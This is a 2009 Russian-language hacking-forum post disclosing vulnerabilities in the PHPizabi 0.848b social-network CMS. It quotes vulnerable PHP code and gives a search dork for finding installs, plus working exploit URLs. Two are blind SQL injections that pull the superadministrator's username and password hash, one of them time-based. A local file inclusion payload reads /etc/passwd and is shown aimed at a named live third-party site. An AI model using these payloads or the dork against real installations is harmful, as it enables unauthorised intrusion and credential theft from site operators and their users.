Уязвимости PHPizabi 0.848b (latest version)

Discussion in 'Веб-уязвимости' started by Iceangel_, 4 Jun 2009.

  1. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Уязвимости PHPizabi 0.848b(latest version)
    (возможно уязвимы и более ранние версии)


    download: http://www.phpizabi.net/?L=downloads.downloadcore&X=dist.core.download&latest=1

    dork: "Powered by PHPizabi v0 848b C1 HFP1"



    1) [Blind SQL-injection] (требования: magic_quotes=off)

    /modules/users/profile.php
    уязвимый код:
    PHP:
    if (isset($_GET["id"])) {
        
            
    // GET ID MODS (USERNAMES IN ID) ////////////////////////////////////////////////////////////
            /*
                The following couple lines will handle a USERNAME posted
                as a user ID in the URL, if the "ID" value is not numeric,
                it must be one. Let's try to find a user entry for that username
            */
            
    if (!is_numeric($_GET["id"])) { 
                
    $fetchUserName myF(myQ("SELECT `id` FROM `[x]users` WHERE LCASE(`username`)='".strtolower($_GET["id"])."'"));
                if (
    is_array($fetchUserName)) $_GET["id"] = $fetchUserName["id"];
            }
    эксплуатирование:
    Code:
    index.php?L=users.profile&id=1'+and+ascii(substring((select+concat_ws(0x3a,username,password)+from+phpizabi_users+where+is_superadministrator=1+and+active=1+limit+0,1),1,1))>50--+

    /modules/blog/edit.php
    уязвимый код:
    PHP:
    $row myF(myQ("SELECT * FROM `[x]blogs` WHERE `id`='{$_GET["id"]}'"));
    эксплуатирование:
    Code:
    http://localhost/hack/izabi/?L=blogs.edit&id=1'+or+if(ascii(substring((select+concat_ws(0x3a,username,password)+from+phpizabi_users+where+is_superadministrator=1+and+active=1+limit+0,1),1,1))>1,BENCHMARK(1000000,md5(current_date)),2)--+
    2)[LFI] (требования: register_globals=on)

    /install/index.php
    уязвимый код:
    PHP:
    if (isset($GLOBALS["processors"])) foreach ($GLOBALS["processors"] as $proc) {
            include(
    "includes/{$proc}");
        }
    эксплуатирование:

    можно заинклудить хоть массив файлов =)
    Code:
    install/?processors[]=../../../../../../../../../etc/passwd
    примечание:
    CMS не требует, и даже никак не намекает, что директорию install лучше удалить ;)
    Code:
    http://arlance.net/install/?processors[]=../../../../../../../../../etc/passwd
     
    #1 Iceangel_, 4 Jun 2009
    Last edited: 4 Jun 2009
    2 people like this.